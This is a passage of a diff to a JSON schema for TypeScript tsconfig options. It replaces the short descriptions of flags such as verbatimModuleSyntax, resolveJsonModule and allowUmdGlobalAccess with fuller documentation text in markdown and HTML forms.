@importHelpers\n// @module: commonjs\nimport * as fs from &quot;fs&quot;;\nimport _ from &quot;lodash&quot;;\n\nfs.readFileSync(&quot;file.txt&quot;, &quot;utf8&quot;);\n_.chunk([&quot;a&quot;, &quot;b&quot;, &quot;c&quot;, &quot;d&quot;], 2);\n</code></pre>\n<p>Enabling <code>esModuleInterop</code> will also enable <a href=\"https://typescriptlang.org/tsconfig/#allowSyntheticDefaultImports\"><code>allowSyntheticDefaultImports</code></a>.</p>\n"
             },
             "allowUmdGlobalAccess": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Allow accessing UMD globals from modules.",
+              "description": "When set to true, `allowUmdGlobalAccess` lets you access UMD exports as globals from inside module files. A module file is a file that has imports and/or exports. Without this flag, using an export from a UMD module requires an import declaration.\n\nAn example use case for this flag would be a web project where you know the particular library (like jQuery or Lodash) will always be available at runtime, but you can’t access it with an import.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Allow accessing UMD globals from modules.\n\nSee more: https://www.typescriptlang.org/tsconfig#allowUmdGlobalAccess"
+              "markdownDescription": "When set to true, `allowUmdGlobalAccess` lets you access UMD exports as globals from inside module files. A module file is a file that has imports and/or exports. Without this flag, using an export from a UMD module requires an import declaration.\n\nAn example use case for this flag would be a web project where you know the particular library (like jQuery or Lodash) will always be available at runtime, but you can’t access it with an import.",
+              "x-intellij-html-description": "<p>When set to true, <code>allowUmdGlobalAccess</code> lets you access UMD exports as globals from inside module files. A module file is a file that has imports and/or exports. Without this flag, using an export from a UMD module requires an import declaration.</p>\n<p>An example use case for this flag would be a web project where you know the particular library (like jQuery or Lodash) will always be available at runtime, but you can’t access it with an import.</p>\n"
             },
             "keyofStringsOnly": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Make keyof only return strings instead of string, numbers or symbols. Legacy option.",
+              "description": "This flag changes the `keyof` type operator to return `string` instead of `string | number` when applied to a type with a string index signature.\n\nThis flag is used to help people keep this behavior from [before TypeScript 2.9's release](https://typescriptlang.org/docs/handbook/release-notes/typescript-2-9.html#support-number-and-symbol-named-properties-with-keyof-and-mapped-types).",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Make keyof only return strings instead of string, numbers or symbols. Legacy option.\n\nSee more: https://www.typescriptlang.org/tsconfig#keyofStringsOnly"
+              "markdownDescription": "This flag changes the `keyof` type operator to return `string` instead of `string | number` when applied to a type with a string index signature.\n\nThis flag is used to help people keep this behavior from [before TypeScript 2.9's release](https://typescriptlang.org/docs/handbook/release-notes/typescript-2-9.html#support-number-and-symbol-named-properties-with-keyof-and-mapped-types).",
+              "x-intellij-html-description": "<p>This flag changes the <code>keyof</code> type operator to return <code>string</code> instead of <code>string | number</code> when applied to a type with a string index signature.</p>\n<p>This flag is used to help people keep this behavior from <a href=\"https://typescriptlang.org/docs/handbook/release-notes/typescript-2-9.html#support-number-and-symbol-named-properties-with-keyof-and-mapped-types\">before TypeScript 2.9&#39;s release</a>.</p>\n"
             },
             "useDefineForClassFields": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Emit ECMAScript-standard-compliant class fields.",
+              "description": "This flag is used as part of migrating to the upcoming standard version of class fields. TypeScript introduced class fields many years before it was ratified in TC39. The latest version of the upcoming specification has a different runtime behavior to TypeScript's implementation but the same syntax.\n\nThis flag switches to the upcoming ECMA runtime behavior.\n\nYou can read more about the transition in [the 3.7 release notes](https://typescriptlang.org/docs/handbook/release-notes/typescript-3-7.html#the-usedefineforclassfields-flag-and-the-declare-property-modifier).",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Emit ECMAScript-standard-compliant class fields.\n\nSee more: https://www.typescriptlang.org/tsconfig#useDefineForClassFields"
+              "markdownDescription": "This flag is used as part of migrating to the upcoming standard version of class fields. TypeScript introduced class fields many years before it was ratified in TC39. The latest version of the upcoming specification has a different runtime behavior to TypeScript's implementation but the same syntax.\n\nThis flag switches to the upcoming ECMA runtime behavior.\n\nYou can read more about the transition in [the 3.7 release notes](https://typescriptlang.org/docs/handbook/release-notes/typescript-3-7.html#the-usedefineforclassfields-flag-and-the-declare-property-modifier).",
+              "x-intellij-html-description": "<p>This flag is used as part of migrating to the upcoming standard version of class fields. TypeScript introduced class fields many years before it was ratified in TC39. The latest version of the upcoming specification has a different runtime behavior to TypeScript&#39;s implementation but the same syntax.</p>\n<p>This flag switches to the upcoming ECMA runtime behavior.</p>\n<p>You can read more about the transition in <a href=\"https://typescriptlang.org/docs/handbook/release-notes/typescript-3-7.html#the-usedefineforclassfields-flag-and-the-declare-property-modifier\">the 3.7 release notes</a>.</p>\n"
             },
             "declarationMap": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Create sourcemaps for d.ts files.",
+              "description": "Generates a source map for `.d.ts` files which map back to the original `.ts` source file.\nThis will allow editors such as VS Code to go to the original `.ts` file when using features like _Go to Definition_.\n\nYou should strongly consider turning this on if you're using project references.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Create sourcemaps for d.ts files.\n\nSee more: https://www.typescriptlang.org/tsconfig#declarationMap"
+              "markdownDescription": "Generates a source map for `.d.ts` files which map back to the original `.ts` source file.\nThis will allow editors such as VS Code to go to the original `.ts` file when using features like _Go to Definition_.\n\nYou should strongly consider turning this on if you're using project references.",
+              "x-intellij-html-description": "<p>Generates a source map for <code>.d.ts</code> files which map back to the original <code>.ts</code> source file.\nThis will allow editors such as VS Code to go to the original <code>.ts</code> file when using features like <em>Go to Definition</em>.</p>\n<p>You should strongly consider turning this on if you&#39;re using project references.</p>\n"
             },
             "resolveJsonModule": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Enable importing .json files",
+              "description": "Allows importing modules with a `.json` extension, which is a common practice in node projects. This includes\ngenerating a type for the `import` based on the static JSON shape.\n\nTypeScript does not support resolving JSON files by default:\n\n```ts twoslash\n// @errors: 2732\n// @filename: settings.json\n{\n    \"repo\": \"TypeScript\",\n    \"dry\": false,\n    \"debug\": false\n}\n// @filename: index.ts\nimport settings from \"./settings.json\";\n\nsettings.debug === true;\nsettings.dry === 2;\n```\n\nEnabling the option allows importing JSON, and validating the types in that JSON file.\n\n```ts twoslash\n// @errors: 2367\n// @resolveJsonModule\n// @module: commonjs\n// @moduleResolution: node\n// @filename: settings.json\n{\n    \"repo\": \"TypeScript\",\n    \"dry\": false,\n    \"debug\": false\n}\n// @filename: index.ts\nimport settings from \"./settings.json\";\n\nsettings.debug === true;\nsettings.dry === 2;\n```",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Enable importing .json files\n\nSee more: https://www.typescriptlang.org/tsconfig#resolveJsonModule"
+              "markdownDescription": "Allows importing modules with a `.json` extension, which is a common practice in node projects. This includes\ngenerating a type for the `import` based on the static JSON shape.\n\nTypeScript does not support resolving JSON files by default:\n\n```ts twoslash\n// @errors: 2732\n// @filename: settings.json\n{\n    \"repo\": \"TypeScript\",\n    \"dry\": false,\n    \"debug\": false\n}\n// @filename: index.ts\nimport settings from \"./settings.json\";\n\nsettings.debug === true;\nsettings.dry === 2;\n```\n\nEnabling the option allows importing JSON, and validating the types in that JSON file.\n\n```ts twoslash\n// @errors: 2367\n// @resolveJsonModule\n// @module: commonjs\n// @moduleResolution: node\n// @filename: settings.json\n{\n    \"repo\": \"TypeScript\",\n    \"dry\": false,\n    \"debug\": false\n}\n// @filename: index.ts\nimport settings from \"./settings.json\";\n\nsettings.debug === true;\nsettings.dry === 2;\n```",
+              "x-intellij-html-description": "<p>Allows importing modules with a <code>.json</code> extension, which is a common practice in node projects. This includes\ngenerating a type for the <code>import</code> based on the static JSON shape.</p>\n<p>TypeScript does not support resolving JSON files by default:</p>\n<pre><code class=\"language-ts\">// @errors: 2732\n// @filename: settings.json\n{\n    &quot;repo&quot;: &quot;TypeScript&quot;,\n    &quot;dry&quot;: false,\n    &quot;debug&quot;: false\n}\n// @filename: index.ts\nimport settings from &quot;./settings.json&quot;;\n\nsettings.debug === true;\nsettings.dry === 2;\n</code></pre>\n<p>Enabling the option allows importing JSON, and validating the types in that JSON file.</p>\n<pre><code class=\"language-ts\">// @errors: 2367\n// @resolveJsonModule\n// @module: commonjs\n// @moduleResolution: node\n// @filename: settings.json\n{\n    &quot;repo&quot;: &quot;TypeScript&quot;,\n    &quot;dry&quot;: false,\n    &quot;debug&quot;: false\n}\n// @filename: index.ts\nimport settings from &quot;./settings.json&quot;;\n\nsettings.debug === true;\nsettings.dry === 2;\n</code></pre>\n"
             },
             "resolvePackageJsonExports": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Use the package.json 'exports' field when resolving package imports.",
+              "description": "`--resolvePackageJsonExports` forces TypeScript to consult [the `exports` field of `package.json` files](https://nodejs.org/api/packages.html#exports) if it ever reads from a package in `node_modules`.\n\nThis option defaults to `true` under the `node16`, `nodenext`, and `bundler` options for [`--moduleResolution`](https://typescriptlang.org/tsconfig/#moduleResolution).",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Use the package.json 'exports' field when resolving package imports.\n\nSee more: https://www.typescriptlang.org/tsconfig#resolvePackageJsonExports"
+              "markdownDescription": "`--resolvePackageJsonExports` forces TypeScript to consult [the `exports` field of `package.json` files](https://nodejs.org/api/packages.html#exports) if it ever reads from a package in `node_modules`.\n\nThis option defaults to `true` under the `node16`, `nodenext`, and `bundler` options for [`--moduleResolution`](https://typescriptlang.org/tsconfig/#moduleResolution).",
+              "x-intellij-html-description": "<p><code>--resolvePackageJsonExports</code> forces TypeScript to consult <a href=\"https://nodejs.org/api/packages.html#exports\">the <code>exports</code> field of <code>package.json</code> files</a> if it ever reads from a package in <code>node_modules</code>.</p>\n<p>This option defaults to <code>true</code> under the <code>node16</code>, <code>nodenext</code>, and <code>bundler</code> options for <a href=\"https://typescriptlang.org/tsconfig/#moduleResolution\"><code>--moduleResolution</code></a>.</p>\n"
             },
             "resolvePackageJsonImports": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Use the package.json 'imports' field when resolving imports.",
+              "description": "`--resolvePackageJsonImports` forces TypeScript to consult [the `imports` field of `package.json` files](https://nodejs.org/api/packages.html#imports) when performing a lookup that starts with `#` from a file whose ancestor directory contains a `package.json`.\n\nThis option defaults to `true` under the `node16`, `nodenext`, and `bundler` options for [`--moduleResolution`](https://typescriptlang.org/tsconfig/#moduleResolution).",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Use the package.json 'imports' field when resolving imports.\n\nSee more: https://www.typescriptlang.org/tsconfig#resolvePackageJsonImports"
+              "markdownDescription": "`--resolvePackageJsonImports` forces TypeScript to consult [the `imports` field of `package.json` files](https://nodejs.org/api/packages.html#imports) when performing a lookup that starts with `#` from a file whose ancestor directory contains a `package.json`.\n\nThis option defaults to `true` under the `node16`, `nodenext`, and `bundler` options for [`--moduleResolution`](https://typescriptlang.org/tsconfig/#moduleResolution).",
+              "x-intellij-html-description": "<p><code>--resolvePackageJsonImports</code> forces TypeScript to consult <a href=\"https://nodejs.org/api/packages.html#imports\">the <code>imports</code> field of <code>package.json</code> files</a> when performing a lookup that starts with <code>#</code> from a file whose ancestor directory contains a <code>package.json</code>.</p>\n<p>This option defaults to <code>true</code> under the <code>node16</code>, <code>nodenext</code>, and <code>bundler</code> options for <a href=\"https://typescriptlang.org/tsconfig/#moduleResolution\"><code>--moduleResolution</code></a>.</p>\n"
             },
             "assumeChangesOnlyAffectDirectDependencies": {
               "description": "Have recompiles in '--incremental' and '--watch' assume that changes within a file will only affect files directly depending on it. Requires TypeScript version 3.8 or later.",
               "type": ["boolean", "null"]
             },
             "extendedDiagnostics": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Output more detailed compiler performance information after building.",
+              "description": "You can use this flag to discover where TypeScript is spending its time when compiling.\nThis is a tool used for understanding the performance characteristics of your codebase overall.\n\nYou can learn more about how to measure and understand the output in the performance [section of the wiki](https://github.com/microsoft/TypeScript/wiki/Performance).",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Output more detailed compiler performance information after building.\n\nSee more: https://www.typescriptlang.org/tsconfig#extendedDiagnostics"
+              "markdownDescription": "You can use this flag to discover where TypeScript is spending its time when compiling.\nThis is a tool used for understanding the performance characteristics of your codebase overall.\n\nYou can learn more about how to measure and understand the output in the performance [section of the wiki](https://github.com/microsoft/TypeScript/wiki/Performance).",
+              "x-intellij-html-description": "<p>You can use this flag to discover where TypeScript is spending its time when compiling.\nThis is a tool used for understanding the performance characteristics of your codebase overall.</p>\n<p>You can learn more about how to measure and understand the output in the performance <a href=\"https://github.com/microsoft/TypeScript/wiki/Performance\">section of the wiki</a>.</p>\n"
             },
             "listFilesOnly": {
               "description": "Print names of files that are part of the compilation and then stop processing.",
               "type": ["boolean", "null"]
             },
             "disableSourceOfProjectReferenceRedirect": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Disable preferring source files instead of declaration files when referencing composite projects",
+              "description": "When working with [composite TypeScript projects](https://typescriptlang.org/docs/handbook/project-references.html), this option provides a way to go [back to the pre-3.7](https://typescriptlang.org/docs/handbook/release-notes/typescript-3-7.html#build-free-editing-with-project-references) behavior where d.ts files were used to as the boundaries between modules.\nIn 3.7 the source of truth is now your TypeScript files.",
               "type": ["boolean", "null"],
-              "markdownDescription": "Disable preferring source files instead of declaration files when referencing composite projects\n\nSee more: https://www.typescriptlang.org/tsconfig#disableSourceOfProjectReferenceRedirect"
+              "markdownDescription": "When working with [composite TypeScript projects](https://typescriptlang.org/docs/handbook/project-references.html), this option provides a way to go [back to the pre-3.7](https://typescriptlang.org/docs/handbook/release-notes/typescript-3-7.html#build-free-editing-with-project-references) behavior where d.ts files were used to as the boundaries between modules.\nIn 3.7 the source of truth is now your TypeScript files.",
+              "x-intellij-html-description": "<p>When working with <a href=\"https://typescriptlang.org/docs/handbook/project-references.html\">composite TypeScript projects</a>, this option provides a way to go <a href=\"https://typescriptlang.org/docs/handbook/release-notes/typescript-3-7.html#build-free-editing-with-project-references\">back to the pre-3.7</a> behavior where d.ts files were used to as the boundaries between modules.\nIn 3.7 the source of truth is now your TypeScript files.</p>\n"
             },
             "disableSolutionSearching": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Opt a project out of multi-project reference checking when editing.",
+              "description": "When working with [composite TypeScript projects](https://typescriptlang.org/docs/handbook/project-references.html), this option provides a way to declare that you do not want a project to be included when using features like _find all references_ or _jump to definition_ in an editor.\n\nThis flag is something you can use to increase responsiveness in large composite projects.",
               "type": ["boolean", "null"],
-              "markdownDescription": "Opt a project out of multi-project reference checking when editing.\n\nSee more: https://www.typescriptlang.org/tsconfig#disableSolutionSearching"
+              "markdownDescription": "When working with [composite TypeScript projects](https://typescriptlang.org/docs/handbook/project-references.html), this option provides a way to declare that you do not want a project to be included when using features like _find all references_ or _jump to definition_ in an editor.\n\nThis flag is something you can use to increase responsiveness in large composite projects.",
+              "x-intellij-html-description": "<p>When working with <a href=\"https://typescriptlang.org/docs/handbook/project-references.html\">composite TypeScript projects</a>, this option provides a way to declare that you do not want a project to be included when using features like <em>find all references</em> or <em>jump to definition</em> in an editor.</p>\n<p>This flag is something you can use to increase responsiveness in large composite projects.</p>\n"
             },
             "verbatimModuleSyntax": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Do not transform or elide any imports or exports not marked as type-only, ensuring they are written in the output file's format based on the 'module' setting.",
+              "description": "By default, TypeScript does something called *import elision*.\nBasically, if you write something like\n\n```ts\nimport { Car } from \"./car\";\n\nexport function drive(car: Car) {\n    // ...\n}\n```\n\nTypeScript detects that you're only using an import for types and drops the import entirely.\nYour output JavaScript might look something like this:\n\n```js\nexport function drive(car) {\n    // ...\n}\n```\n\nMost of the time this is good, because if `Car` isn't a value that's exported from `./car`, we'll get a runtime error.\n\nBut it does add a layer of complexity for certain edge cases.\nFor example, notice there's no statement like `import \"./car\";` - the import was dropped entirely.\nThat actually makes a difference for modules that have side-effects or not.\n\nTypeScript's emit strategy for JavaScript also has another few layers of complexity - import elision isn't always just driven by how an import is used - it often consults how a value is declared as well.\nSo it's not always clear whether code like the following\n\n```ts\nexport { Car } from \"./car\";\n```\n\nshould be preserved or dropped.\nIf `Car` is declared with something like a `class`, then it can be preserved in the resulting JavaScript file.\nBut if `Car` is only declared as a `type` alias or `interface`, then the JavaScript file shouldn't export `Car` at all.\n\nWhile TypeScript might be able to make these emit decisions based on information from across files, not every compiler can.\n\nThe `type` modifier on imports and exports helps with these situations a bit.\nWe can make it explicit whether an import or export is only being used for type analysis, and can be dropped entirely in JavaScript files by using the `type` modifier.\n\n```ts\n// This statement can be dropped entirely in JS output\nimport type * as car from \"./car\";\n\n// The named import/export 'Car' can be dropped in JS output\nimport { type Car } from \"./car\";\nexport { type Car } from \"./car\";\n```\n\n`type` modifiers are not quite useful on their own - by default, module elision will still drop imports, and nothing forces you to make the distinction between `type` and plain imports and exports.\nSo TypeScript has the flag `--importsNotUsedAsValues` to make sure you use the `type` modifier, `--preserveValueImports` to prevent *some* module elision behavior, and `--isolatedModules` to make sure that your TypeScript code works across different compilers.\nUnfortunately, understanding the fine details of those 3 flags is hard, and there are still some edge cases with unexpected behavior.\n\nTypeScript 5.0 introduces a new option called `--verbatimModuleSyntax` to simplify the situation.\nThe rules are much simpler - any imports or exports without a `type` modifier are left around.\nAnything that uses the `type` modifier is dropped entirely.\n\n```ts\n// Erased away entirely.\nimport type { A } from \"a\";\n\n// Rewritten to 'import { b } from \"bcd\";'\nimport { b, type c, type d } from \"bcd\";\n\n// Rewritten to 'import {} from \"xyz\";'\nimport { type xyz } from \"xyz\";\n```\n\nWith this new option, what you see is what you get.\n\nThat does have some implications when it comes to module interop though.\nUnder this flag, ECMAScript `import`s and `export`s won't be rewritten to `require` calls when your settings or file extension implied a different module system.\nInstead, you'll get an error.\nIf you need to emit code that uses `require` and `module.exports`, you'll have to use TypeScript's module syntax that predates ES2015:\n\n<table>\n<thead>\n    <tr>\n        <th>Input TypeScript</th>\n        <th>Output JavaScript</th>\n    </tr>\n</thead>\n\n<tr>\n<td>\n\n```ts\nimport foo = require(\"foo\");\n```\n\n</td>\n<td>\n\n```js\nconst foo = require(\"foo\");\n```\n\n</td>\n</tr>\n<tr>\n<td>\n\n```ts\nfunction foo() {}\nfunction bar() {}\nfunction baz() {}\n\nexport = {\n    foo,\n    bar,\n    baz\n};\n```\n\n</td>\n<td>\n\n```js\nfunction foo() {}\nfunction bar() {}\nfunction baz() {}\n\nmodule.exports = {\n    foo,\n    bar,\n    baz\n};\n```\n\n</td>\n</tr>\n</table>\n\nWhile this is a limitation, it does help make some issues more obvious.\nFor example, it's very common to forget to set the [`type` field in `package.json`](https://nodejs.org/api/packages.html#type) under `--module node16`.\nAs a result, developers would start writing CommonJS modules instead of ES modules without realizing it, giving surprising lookup rules and JavaScript output.\nThis new flag ensures that you're intentional about the file type you're using because the syntax is intentionally different.\n\nBecause `--verbatimModuleSyntax` provides a more consistent story than `--importsNotUsedAsValues` and `--preserveValueImports`, those two existing flags are being deprecated in its favor.\n\nFor more details, read up on [the original pull request](https://github.com/microsoft/TypeScript/pull/52203) and [its proposal issue](https://github.com/microsoft/TypeScript/issues/51479).",
               "type": ["boolean", "null"],
-              "markdownDescription": "Do not transform or elide any imports or exports not marked as type-only, ensuring they are written in the output file's format based on the 'module' setting.\n\nSee more: https://www.typescriptlang.org/tsconfig#verbatimModuleSyntax"
+              "markdownDescription": "By default, TypeScript does something called *import elision*.\nBasically, if you write something like\n\n```ts\nimport { Car } from \"./car\";\n\nexport function drive(car: Car) {\n    // ...\n}\n```\n\nTypeScript detects that you're only using an import for types and drops the import entirely.\nYour output JavaScript might look something like this:\n\n```js\nexport function drive(car) {\n    // ...\n}\n```\n\nMost of the time this is good, because if `Car` isn't a value that's exported from `./car`, we'll get a runtime error.\n\nBut it does add a layer of complexity for certain edge cases.\nFor example, notice there's no statement like `import \"./car\";` - the import was dropped entirely.\nThat actually makes a difference for modules that have side-effects or not.\n\nTypeScript's emit strategy for JavaScript also has another few layers of complexity - import elision isn't always just driven by how an import is used - it often consults how a value is declared as well.\nSo it's not always clear whether code like the following\n\n```ts\nexport { Car } from \"./car\";\n```\n\nshould be preserved or dropped.\nIf `Car` is declared with something like a `class`, then it can be preserved in the resulting JavaScript file.\nBut if `Car` is only declared as a `type` alias or `interface`, then the JavaScript file shouldn't export `Car` at all.\n\nWhile TypeScript might be able to make these emit decisions based on information from across files, not every compiler can.\n\nThe `type` modifier on imports and exports helps with these situations a bit.\nWe can make it explicit whether an import or export is only being used for type analysis, and can be dropped entirely in JavaScript files by using the `type` modifier.\n\n```ts\n// This statement can be dropped entirely in JS output\nimport type * as car from \"./car\";\n\n// The named import/export 'Car' can be dropped in JS output\nimport { type Car } from \"./car\";\nexport { type Car } from \"./car\";\n```\n\n`type` modifiers are not quite useful on their own - by default, module elision will still drop imports, and nothing forces you to make the distinction between `type` and plain imports and exports.\nSo TypeScript has the flag `--importsNotUsedAsValues` to make sure you use the `type` modifier, `--preserveValueImports` to prevent *some* module elision behavior, and `--isolatedModules` to make sure that your TypeScript code works across different compilers.\nUnfortunately, understanding the fine details of those 3 flags is hard, and there are still some edge cases with unexpected behavior.\n\nTypeScript 5.0 introduces a new option called `--verbatimModuleSyntax` to simplify the situation.\nThe rules are much simpler - any imports or exports without a `type` modifier are left around.\nAnything that uses the `type` modifier is dropped entirely.\n\n```ts\n// Erased away entirely.\nimport type { A } from \"a\";\n\n// Rewritten to 'import { b } from \"bcd\";'\nimport { b, type c, type d } from \"bcd\";\n\n// Rewritten to 'import {} from \"xyz\";'\nimport { type xyz } from \"xyz\";\n```\n\nWith this new option, what you see is what you get.\n\nThat does have some implications when it comes to module interop though.\nUnder this flag, ECMAScript `import`s and `export`s won't be rewritten to `require` calls when your settings or file extension implied a different module system.\nInstead, you'll get an error.\nIf you need to emit code that uses `require` and `module.exports`, you'll have to use TypeScript's module syntax that predates ES2015:\n\n<table>\n<thead>\n    <tr>\n        <th>Input TypeScript</th>\n        <th>Output JavaScript</th>\n    </tr>\n</thead>\n\n<tr>\n<td>\n\n```ts\nimport foo = require(\"foo\");\n```\n\n</td>\n<td>\n\n```js\nconst foo = require(\"foo\");\n```\n\n</td>\n</tr>\n<tr>\n<td>\n\n```ts\nfunction foo() {}\nfunction bar() {}\nfunction baz() {}\n\nexport = {\n    foo,\n    bar,\n    baz\n};\n```\n\n</td>\n<td>\n\n```js\nfunction foo() {}\nfunction bar() {}\nfunction baz() {}\n\nmodule.exports = {\n    foo,\n    bar,\n    baz\n};\n```\n\n</td>\n</tr>\n</table>\n\nWhile this is a limitation, it does help make some issues more obvious.\nFor example, it's very common to forget to set the [`type` field in `package.json`](https://nodejs.org/api/packages.html#type) under `--module node16`.\nAs a result, developers would start writing CommonJS modules instead of ES modules without realizing it, giving surprising lookup rules and JavaScript output.\nThis new flag ensures that you're intentional about the file type you're using because the syntax is intentionally different.\n\nBecause `--verbatimModuleSyntax` provides a more consistent story than `--importsNotUsedAsValues` and `--preserveValueImports`, those two existing flags are being deprecated in its favor.\n\nFor more details, read up on [the original pull request](https://github.com/microsoft/TypeScript/pull/52203) and [its proposal issue](https://github.com/microsoft/TypeScript/issues/51479).",
+              "x-intellij-html-description": "<p>By default, TypeScript does something called <em>import elision</em>.\nBasically, if you write something like</p>\n<pre><code class=\"language-ts\">import { Car } from &quot;./car&quot;;\n\nexport function drive(car: Car) {\n    // ...\n}\n</code></pre>\n<p>TypeScript detects that you&#39;re only using an import for types and drops the import entirely.\nYour output JavaScript might look something like this:</p>\n<pre><code class=\"language-js\">export function drive(car) {\n    // ...\n}\n</code></pre>\n<p>Most of the time this is good, because if <code>Car</code> isn&#39;t a value that&#39;s exported from <code>./car</code>, we&#39;ll get a runtime error.</p>\n<p>But it does add a layer of complexity for certain edge cases.\nFor example, notice there&#39;s no statement like <code>import &quot;./car&quot;;</code> - the import was dropped entirely.\nThat actually makes a difference for modules that have side-effects or not.</p>\n<p>TypeScript&#39;s emit strategy for JavaScript also has another few layers of complexity - import elision isn&#39;t always just driven by how an import is used - it often consults how a value is declared as well.\nSo it&#39;s not always clear whether code like the following</p>\n<pre><code class=\"language-ts\">export { Car } from &quot;./car&quot;;\n</code></pre>\n<p>should be preserved or dropped.\nIf <code>Car</code> is declared with something like a <code>class</code>, then it can be preserved in the resulting JavaScript file.\nBut if <code>Car</code> is only declared as a <code>type</code> alias or <code>interface</code>, then the JavaScript file shouldn&#39;t export <code>Car</code> at all.</p>\n<p>While TypeScript might be able to make these emit decisions based on information from across files, not every compiler can.</p>\n<p>The <code>type</code> modifier on imports and exports helps with these situations a bit.\nWe can make it explicit whether an import or export is only being used for type analysis, and can be dropped entirely in JavaScript files by using the <code>type</code> modifier.</p>\n<pre><code class=\"language-ts\">// This statement can be dropped entirely in JS output\nimport type * as car from &quot;./car&quot;;\n\n// The named import/export &#39;Car&#39; can be dropped in JS output\nimport { type Car } from &quot;./car&quot;;\nexport { type Car } from &quot;./car&quot;;\n</code></pre>\n<p><code>type</code> modifiers are not quite useful on their own - by default, module elision will still drop imports, and nothing forces you to make the distinction between <code>type</code> and plain imports and exports.\nSo TypeScript has the flag <code>--importsNotUsedAsValues</code> to make sure you use the <code>type</code> modifier, <code>--preserveValueImports</code> to prevent <em>some</em> module elision behavior, and <code>--isolatedModules</code> to make sure that your TypeScript code works across different compilers.\nUnfortunately, understanding the fine details of those 3 flags is hard, and there are still some edge cases with unexpected behavior.</p>\n<p>TypeScript 5.0 introduces a new option called <code>--verbatimModuleSyntax</code> to simplify the situation.\nThe rules are much simpler - any imports or exports without a <code>type</code> modifier are left around.\nAnything that uses the <code>type</code> modifier is dropped entirely.</p>\n<pre><code class=\"language-ts\">// Erased away entirely.\nimport type { A } from &quot;a&quot;;\n\n// Rewritten to &#39;import { b } from &quot;bcd&quot;;&#39;\nimport { b, type c, type d } from &quot;bcd&quot;;\n\n// Rewritten to &#39;import {} from &quot;xyz&quot;;&#39;\nimport { type xyz } from &quot;xyz&quot;;\n</code></pre>\n<p>With this new option, what you see is what you get.</p>\n<p>That does have some implications when it comes to module interop though.\nUnder this flag, ECMAScript <code>import</code>s and <code>export</code>s won&#39;t be rewritten to <code>require</code> calls when your settings or file extension implied a different module system.\nInstead, you&#39;ll get an error.\nIf you need to emit code that uses <code>require</code> and <code>module.exports</code>, you&#39;ll have to use TypeScript&#39;s module syntax that predates ES2015:</p>\n<table>\n<thead>\n    <tr>\n        <th>Input TypeScript</th>\n        <th>Output JavaScript</th>\n    </tr>\n</thead><tr>\n<td><pre><code class=\"language-ts\">import foo = require(&quot;foo&quot;);\n</code></pre>\n</td>\n<td><pre><code class=\"language-js\">const foo = require(&quot;foo&quot;);\n</code></pre>\n</td>\n</tr>\n<tr>\n<td><pre><code class=\"language-ts\">function foo() {}\nfunction bar() {}\nfunction baz() {}\n\nexport = {\n    foo,\n    bar,\n    baz\n};\n</code></pre>\n</td>\n<td><pre><code class=\"language-js\">function foo() {}\nfunction bar() {}\nfunction baz() {}\n\nmodule.exports = {\n    foo,\n    bar,\n    baz\n};\n</code></pre>\n</td>\n</tr>\n</table><p>While this is a limitation, it does help make some issues more obvious.\nFor example, it&#39;s very common to forget to set the <a href=\"https://nodejs.org/api/packages.html#type\"><code>type</code> field in <code>package.json</code></a> under <code>--module node16</code>.\nAs a result, developers would start writing CommonJS modules instead of ES modules without realizing it, giving surprising lookup rules and JavaScript output.\nThis new flag ensures that you&#39;re intentional about the file type you&#39;re using because the syntax is intentionally different.</p>\n<p>Because <code>--verbatimModuleSyntax</code> provides a more consistent story than <code>--importsNotUsedAsValues</code> and <code>--preserveValueImports</code>, those two existing flags are being deprecated in its favor.</p>\n<p>For more details, read up on <a href=\"https://github.com/microsoft/TypeScript/pull/52203\">the original pull request</a> and <a href=\"https://github.com/microsoft/TypeScript/issues/51479\">its proposal issue</a>.</p>\n"
             },
             "noCheck": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Disable full type checking (only critical parse and emit errors will be reported)",
+              "description": "Disable full type checking (only critical parse and emit errors will be reported).",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Disable full type checking (only critical parse and emit errors will be reported)\n\nSee more: https://www.typescriptlang.org/tsconfig#noCheck"
+              "markdownDescription": "Disable full type checking (only critical parse and emit errors will be reported).",
+              "x-intellij-html-description": "<p>Disable full type checking (only critical parse and emit errors will be reported).</p>\n"
             },
             "isolatedDeclarations": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Require sufficient annotation on exports so other tools can trivially generate declaration files.",
+              "description": "Require sufficient annotation on exports so other tools can trivially generate declaration files.\n \nFor more information, see the [5.5 release notes](https://typescriptlang.org/docs/handbook/release-notes/typescript-5-5.html#isolated-declarations)",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Require sufficient annotation on exports so other tools can trivially generate declaration files.\n\nSee more: https://www.typescriptlang.org/tsconfig#isolatedDeclarations"
